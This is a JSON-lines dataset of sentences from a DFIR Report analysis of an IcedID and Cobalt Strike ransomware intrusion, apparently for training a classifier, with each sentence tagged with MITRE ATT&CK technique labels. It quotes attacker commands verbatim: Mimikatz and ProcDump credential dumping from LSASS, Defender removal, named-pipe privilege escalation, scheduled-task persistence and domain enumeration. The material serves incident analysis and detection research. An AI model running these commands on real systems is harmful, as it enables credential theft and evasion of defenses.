{"sentence": "In this case, the threat actors attempted to rectify the issue by deploying new beacons, renaming executable files by either appending a double extension or adding extra characters to the filename (i.e. lsass.exe to lsasss.exe).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Some of these crashes may have been in response to being detected by Microsoft Defender.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These signatures were found in the logs on various hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "HackTool:Win32/NamedPipeImpers.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A TrojanDropper:PowerShell/Cobacis.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "B VirTool:MSIL/Menace.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C!MTB There was evidence that that the Cobalt Strike aggressor script AnnoyKit was leveraged to launch Internet Explorer via a COM object.", "labels": ["T1140"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Decoded from Base64: The decoded PowerShell function is readable in the PowerShell logs:", "labels": ["T1140"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The PowerShell script used is publicly available, and can be found here, along with the CNA script.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We were unable to ascertain the purpose of running this script or how it furthered the threat actor’s goals.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "IcedID created a DLL named Utucka.dll just after the initial execution.", "labels": ["T1053.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A scheduled task was then created using this same DLL.", "labels": ["T1053.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "<?xml version=\"1.0\" encoding=\"UTF-16\"?> <Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"> <RegistrationInfo> <URI>\\{3A79715D-4FFB-50BE-8F3A-090CE7FB4097}</URI> </RegistrationInfo> <Triggers> <TimeTrigger id=\"TimeTrigger\"> <Repetition> <Interval>PT1H</Interval> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2012-01-01T12:00:00</StartBoundary> <Enabled>true</Enabled> </TimeTrigger> <LogonTrigger id=\"LogonTrigger\"> <Enabled>true</Enabled> <UserId>[REDACTED]</UserId> </LogonTrigger>", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "</Triggers> <Principals> <Principal id=\"Author\"> <RunLevel>HighestAvailable</RunLevel> <UserId>[REDACTED]</UserId> <LogonType>InteractiveToken</LogonType> </Principal> </Principals>", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "<Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <Duration>PT10M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context=\"Author\"> <Exec> <Command>rundll32.exe</Command> <Arguments>\"C:\\Users\\[REDACTED]\\AppData\\Local\\[REDACTED]\\[REDACTED]\\Utucka.dll\",#1 --oxoj=\"CategoryBeyond\\license.dat\"</Arguments> </Exec> </Actions> </Task> First execution was observed on Day 1 at 8:00 PM and was repeated every hour.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Schedule ➝ rundll32.exe", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"C:\\Users\\[REDACTED]\\AppData\\Local\\[REDACTED]\\[REDACTED]\\Utucka.dll\",#1 --oxoj=\"CategoryBeyond\\license.dat\" Named pipe impersonation The named pipe impersonation technique was used multiple times on different hosts in order to get system privileges.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This is a common technique used by threat actors, and implemented by the GetSystemCobalt Strike command.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As seen in the screenshot below, GetSystem creates a service and connects to a pipe.", "labels": ["T1059.003", "T1543.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "echo nbproc > \\\\.\\pipe\\nbproc cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "echo xgxfpw > \\\\.\\pipe\\xgxfpw cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ylfdup > \\\\.\\pipe\\ylfdup", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The beacon creates the named pipe (seen in Sysmon EventID 17) and impersonates the NT AUTHORITY\\SYSTEM account used to connect to the pipe.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The MITRE Cyber Analytics Repository (CAR) details the Get System elevation, CAR-2021-02-002: Get System Elevation Winlogon Token Impersonation/Theft Multiple access to WinLogon with granted access 0x40", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "(PROCESS_DUP_HANDLE) were performed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Such access can be tracked with Sysmon event ID 10 (ProcessAccess).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As explained in this blog written by Jonathan JOHNSON, opening a handle to WinLogon in order to duplicate the token and call ImpersonateLoggedOnUser is a known Cobalt Strike technique.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ZeroLogon On the second day of the intrusion, a spike in NetLogon traffic was observed from the beachhead host to a domain controller.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This traffic then triggered several network signatures for CVE-2020-1472 otherwise known as ZeroLogon.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472) ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1 ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The event logs corroborated a successful exploitation with a password update Event 4742 for one of the Domain Controller passwords.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Mark-of-the-Web Bypass The threat actors delivered the initial malware as a zip file, with the contents of a ISO file, which contained their payload to gain access to the target environment.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These packages are designed to evade controls such as Mark-of-the-Web restrictions.", "labels": ["T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Windows Defender tampering On one host, the threat actors ran the following command to try and clear the way for their activity, likely due to the difficulty the threat actors were having with beacons crashing.", "labels": ["T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Uninstall-WindowsFeature -Name Windows-Defender-GUI This command was downloaded from a remote site to a file named pon!.txt and then executed locally.", "labels": ["T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Process injection Multiple suspicious calls to the function CreateRemoteThread (Sysmon Event ID 8) were observed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This is a known behavior of Cobalt Strike and its function shinject, which can be used to inject a new beacon or a specific program to another process on the victim’s computer.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As a result, we observed abnormal winlogon.exe process behavior, winlogon.exe performed DNS requests (Sysmon event ID 22) to a Cobalt Strike C2 domain guteyutu[.]com.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The injection is also visible from memory dumps.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Several hosts showed rundll32 processes exhibiting common process injection behavior, where the MZ file header is seen in the starting memory address in rundll32 processes with PAGE_EXECUTE_READWRITE permissions.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Many of these beacons could also be detected in memory scanning with the Malpedia Cobalt Strike rule.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A sample of a scanning run is displayed below: Host Process ID Process Name Command Line Yara Rule SERVERA 568 winlogon.exe winlogon.exe win_cobalt_strike_auto SERVERA 4284 RuntimeBroker.exe C:\\Windows\\System32\\RuntimeBroker.exe -Embedding win_cobalt_strike_auto SERVERB 9936", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "rundll32.exe C:\\Windows\\syswow64\\rundll32.exe win_cobalt_strike_auto BEACHHEAD 996 svchost.exe C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-s LSM win_cobalt_strike_auto BEACHHEAD 1888 svchost.exe C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-s AudioEndpointBuilder win_cobalt_strike_auto BEACHHEAD 2220 winlogon.exe winlogon.exe win_cobalt_strike_auto BEACHHEAD 7032 rundll32.exe C:\\Windows\\syswow64\\rundll32.exe win_cobalt_strike_auto SERVERC 3328", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "rundll32.exe C:\\Windows\\syswow64\\rundll32.exe win_cobalt_strike_auto Multiple tools and scripts were observed to access and collect credentials from compromised hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "There were several variants of Mimikatz in binary and PowerShell form: \"C:\\ProgramData\\mimikatz.exe\" \"C:\\ProgramData\\mimikatz.exe.exe\" \"C:\\ProgramData\\mimikatz_cryptovanniy.exe\" \"C:\\ProgramData\\notepad.exe\" \"C:\\ProgramData\\katz.ps1 Commands used to collect credentials and export to text files stored in the C:\\ProgramData folder included the following: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1003.001", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\" >> c:\\programdata\\mimikatz\\creds.txt C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1003.001", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "mimikatz.exe privilege::debug sekurlsa::logonPasswords full samdump::hashes exit > \"c:\\programdata\\creds.txt\" C:\\Windows\\system32\\cmd.exe powershell -ep bypass -C \"import-module .\\katz.ps1;Invoke-Katz\" > mimi.txt DCSync Credentials were also dumped via DCSync using two compromised high privilege accounts.", "labels": ["T1003.001", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The activity was observed in Windows Security Event ID 4662, with known indicators including non-computer based account, an access mask of 0x100, and object IDs.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 - DS-Replication-Get-Changes-All 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - DS-Replication-Get-Changes DCSync was observed across 12 events, with separate events for each object ID.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "It is likely the operator used the Cobalt Strike DCSync command, having observed them already enter this directly in the host OS command shell.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For additional details, SpecterOps has an article covering the DCSync technique.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Code injection in LSASS Multiple injections into the LSASS process were observed on multiple hosts.", "labels": ["T1003.001", "T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Threat actors used the function CreateRemoteThread in order to inject malicious code in LSASS process to access credentials.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Process dump of the LSASS process was undertaken using the Sysinternals ProcDump utility: This process was invoked by RunDLL32.exe which was an injected Cobalt Strike beacon reaching out to the command and control server at 111.90.143[.]191.", "labels": ["T1003.001", "T1055", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\SysWOW64\\rundll32.exe ➝ c:\\windows\\temp\\procdump64.exe -accepteula -ma lsass.exe fwtsqmfile00.dmp Classic ransomware discovery stages", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A number of familiar discovery techniques were utilized using various OS commands to discover information relating to the user, host, and network configuration.", "labels": ["T1016", "T1033", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Standard time discovery, domain trust discovery, workstation configuration discovery, and use of the net command to discover standard accounts and groups were observed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "From the IcedID malware running via Rundll32, the following LOLBAS commands were observed: rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1 ➝ nltest /domain_trusts", "labels": ["T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "/all_trusts ➝ nltest /domain_trusts", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "chcp >&2 ➝ ipconfig /all", "labels": ["T1016"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "➝ net config workstation ➝ systeminfo From Nigu.exe (Cobalt Strike beacon), the following LOLBAS commands were observed: \"C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\Nigu.exe\" ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net group \"domain admins\" /domain ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net group \"enterprise admins\" /domain ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net time ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net user [REDACTED] /domain", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Discovery commands observed from other Cobalt Strike beacons using LOLBAS included: systeminfo netstat -anop tcp cmd.exe /C", "labels": ["T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "%%temp%% cmd.exe /C", "labels": ["T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "hostname cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "nslookup hostname RSAT installation to enumerate domain computers properties", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Following the first discovery stage, the threat actor installed RSAT (Remote Server Administration Tools) on the beachhead host, which contains the ActiveDirectory PowerShell Module.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "rundll32.exe ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Add-WindowsCapability –online –Name “Rsat.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ActiveDirectory.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "DS-LDS.Tools~~~~0.0.1.0” ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Import-Module ActiveDirectory", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "One interesting fact to notice, the threat actors had to consult the help menu of Get-ADComputer and Export-CSV using Get-Help.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-Help Export-CSV ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-Help Get-ADComputer Domain computers’ properties were then enumerated using the Get-ADComputer.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "PowerShell cmdlet and names were exported in a CSV file named ADComputers.csv.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV \"C:\\ProgramData\\ADComputers.csv\" -NoTypeInformation ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV -Path \"C:\\ProgramData\\ADComputers.csv\" -NoTypeInformation ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe Get-ADComputer -Identity", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[REDACTED] -Properties * ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell.exe get-ADcomputer -Filter * | Where-Object {$a=$_.name; $_.DistinguishedName", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-ne", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"CN=$a,OU=[REDACTED],DC=[REDACTED],DC=[REDACTED]\"} | Sort-Object name | Select-Object name | Export-csv", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\ProgramData\\ADComputers.csv -NoTypeInformation", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In addition, threat actors searched for Active Directory related DLLs in other directories: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "dir /s", "labels": ["T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "*file/", "labels": ["T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Microsoft.ActiveDirectory.Management.dll C:\\Windows\\system32\\cmd.exe /C where /r C:\\Windows\\WinSxS\\ *Microsoft.ActiveDirectory.Management.dll* Hands on keyboard!", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We did observe mistakes made by the threat actors during hands-on keyboard activities, these included typos and incorrect use of commands.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "An example of an incorrect named command was nslook up (should have been nslookup) that also incorrectly passed the username, instead of the host name.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\system32\\cmd.exe /C nslook up [REDACTED] C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "nslookup USERFirstName UserLastName Another example, the misspelling of administrators: net group administartors /domain", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Further examples included typos of commands: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "net ttime Other operator errors observed included the use of Cobalt Strike commands being passed as a parameter instead of a beacon task.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The use of DCSync is documented in a previous TheDFIRReport titled ‘Cobalt Strike, a Defender’s Guide During AD enumeration, the operator made use of the PowerShell Get-help cmdlet to troubleshoot the following: powershell.exe Get-Help Export-CSV powershell.exe", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Get-Help Get-ADComputer Two file sharing web sites were used to access files, these were dropmefiles[.]com and file[.]io.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Both of these services were accessed on day two from one Domain Controller on the network, with file downloads relating to tooling/scripts.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On day three, a second Domain Controller was observed accessing the dropmefiles[.]com domain.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Reviewing the WebCacheV01.dat on the domain controllers, reveals more details on the sites loaded, including the files that where downloaded from those sites: The threat actors downloaded the lsass.exe beacon from their attacker hosted infrastructure at 199.127.60[.]117.", "labels": ["T1003.001", "T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In addition, the threat actors also used Internet Explorer on the domain controller to search Bing.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This is quite unusual to search directly on the victim’s browser.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The current search results point to how to change the hidden view attribute in file explorer in reference to the ProgramData folder.", "labels": ["T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Domain shares discovery with Invoke-ShareFinder Other tools observed in use, included Invoke-ShareFinder, this is a common tool that we frequently encountered in cases for enumerating network shares and identifying data and potential targets.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We have a detailed report covering Invoke-ShareFinder.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In this case, there is a clear indication that the operator launched the Invoke-ShareFinder command via Cobalt Strike, as observed in Event ID 800: Windows Security Logs discovery Once the threat actors had achieved privilege escalation by compromising administrator accounts, an unusual, but interesting discovery technique was observed as seen below.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell -c \"get-eventlog 'Security' | where {$_.Message -like '*<REDACTED>*' -AND 'Source Network Address'} | export-csv c:\\windows\\temp\\events_<REDACTED>.txt\" Executing this query would return all events in the Security log that references the specified account and with a source network address.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Events returned would include process creation, logins, etc.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Its likely that this discovery technique forms an extension of T1033 – System Owner/User Discovery, where the threat actor was leveraging this data source to understand the account pattern of life, any indicators from compromise, and to potentially blend in adversary activities.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Base64 for the win Other discovery activities observed included a domain host discovery script via PowerShell.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was double base64 encoded.", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Decoding this revealed another PowerShell Base64 encoded string:", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The -e is short for -EncodedCommand.", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The base64 encoding starts with JAB that is a common pattern for UTF-16 starting with $.", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Refer to the Base64 cheatsheet by Forian Roth here.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "There are many different variations of EncodedCommand, with shorthand and aliases available.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Unit42 (PaloAlto) provides a good article on trends and observations of PowerShell encoded commands: Decoding this again using CyberChef shows the resulting PowerShell script: Lots of custom scripts dropped by threat actors Other tools and scripts were dropped onto one endpoint:", "labels": ["T1027", "T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ns.bat file contained thousands of nslookup commands with a corresponding hostname from the network, with output appended to a ns.txt file.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ADGet : An uncommon tool An Active Directory collection tool called ADGet was dropped into a user’s temp folder and executed with an output filename argument.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "No file meta data is provided.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Its a simple to use tool, the application is invoked from the command line and passes an output file name to save enumerated AD objects.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ADGet is an uncommon tool, however, its function is very similar to ADfind–the key difference is that LDAP queries are not passed, they are instead coded into the binary itself.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The AD objects will be enumerated generating a zip output file containing the following TSV (tab separated files) files if using a default configuration: These files can be viewed with any editor or reader that supports CSV or TSV.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ADfind:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "While Adget was seen used, prior to that tool being run the threat actors also deployed the tried and true AdFind, which was renamed to find.exe and called using find.bat. Another batch file named ‘AD.bat’ was dropped into the ProgramData folder on one host and used adfind to enumerate AD objects.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The AD.bat file had the following commands: for /f \"delims=\"", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
